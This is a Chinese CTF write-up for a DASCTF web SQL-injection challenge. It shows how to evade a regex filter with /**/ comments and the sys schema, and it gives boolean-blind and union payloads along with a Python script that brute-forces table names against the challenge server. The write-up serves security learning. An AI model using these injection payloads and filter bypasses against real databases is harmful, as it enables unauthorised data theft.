安恒七月赛DASCTFweb之sqli

sqli

打开题目是常见的id注入,输入单引号发现报错,输入#成功过滤
使用sql语句应该是

select * from admin where id='';

经过测试发现有3个字段(因为这里过滤了空格通过/**/绕过)

10'union/**/select/**/version(),database(),user()#

查看到database()是sqlidb
在测试union select注入的时候发现了过滤原则

preg_match("/;|benchmark|\^|if|[\s]|in|case|when|sleep|auto|desc|stat|\||lock|or|and|&|like|-|`/i", $id);

这里推荐一个好用的正则表达式平台
可以看到过滤了好多,就不能使用information_schema库了,但是mysql还有其他绕过information_schema的方法
简单的聊聊information_schema
我这里使用sys.x$schema_flattened_keys来代替information_schema
然后采用布尔盲注方法
payload:

id=1'=(ascii(substr((select/**/group_concat(table_name)from/**/sys.x$schema_flattened_keys/**/where/**/table_schema='sqlidb'),1,1))='a')%23

拼接之后就是

select * from admin where id='1'=(ascii(substr((select/**/group_concat(table_name)from/**/sys.x$schema_flattened_keys/**/where/**/table_schema='sqlidb'),1,1))='a')%23 ';
提示:id='1'后面的=也可以用来判断,而且还可以利用>或者<
意思就是 后面语句正确就是1,1=1肯定正确就查询成功,反之。

由于本人不会写脚本,这里是用别人的脚本

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com
import requests as req
import time as t
import base64 as b
import string
alpa = string.ascii_letters + string.digits
res = ''
#库名 利用limit注入 sqlidb
# http://183.129.189.60:10004/?id=1%27limit/**/1,1/**/PROCEDURE/**/ANALYSE(1)%23

#表名 flllaaaggg
payload = '''SELECT group_concat(table_name) FROM  sys.x$schema_flattened_keys WHERE table_schema='sqlidb' GROUP BY table_name limit 0,1'''

for i in range(1,100):
	for char in alpa:
		host = '''http://183.129.189.60:10004/?id=1'=(substr(({payload}),{i},1)='{char}')%23'''.format(payload=payload.replace(' ','/**/'), i=i, char=char)

		r = req.get(host)
		if r'admin666' in r.text:
			res += char
			print("found it: "+res)
			break
		t.sleep(0.2)

跑出table_name是fllllaaaggg
最后直接union select查询

?id=1'union/**/select/**/1,*/**/from/**/fllllaaaggg%23

最后这个payload需要说明一下,这里直接用Y1ng师傅说的:
因为union select * 查询的字段只有2个,为了满足字段数相同,就在前面添加了一个1。
只能说师傅tql!!!

总结:
该题目考察了绕过information_schema,布尔盲注和=><的使用

参考:https://www.gem-love.com/ctf/2514.html

扫描二维码关注公众号,回复: 11451119 查看本文章

猜你喜欢

转载自blog.csdn.net/qq_46091464/article/details/107585668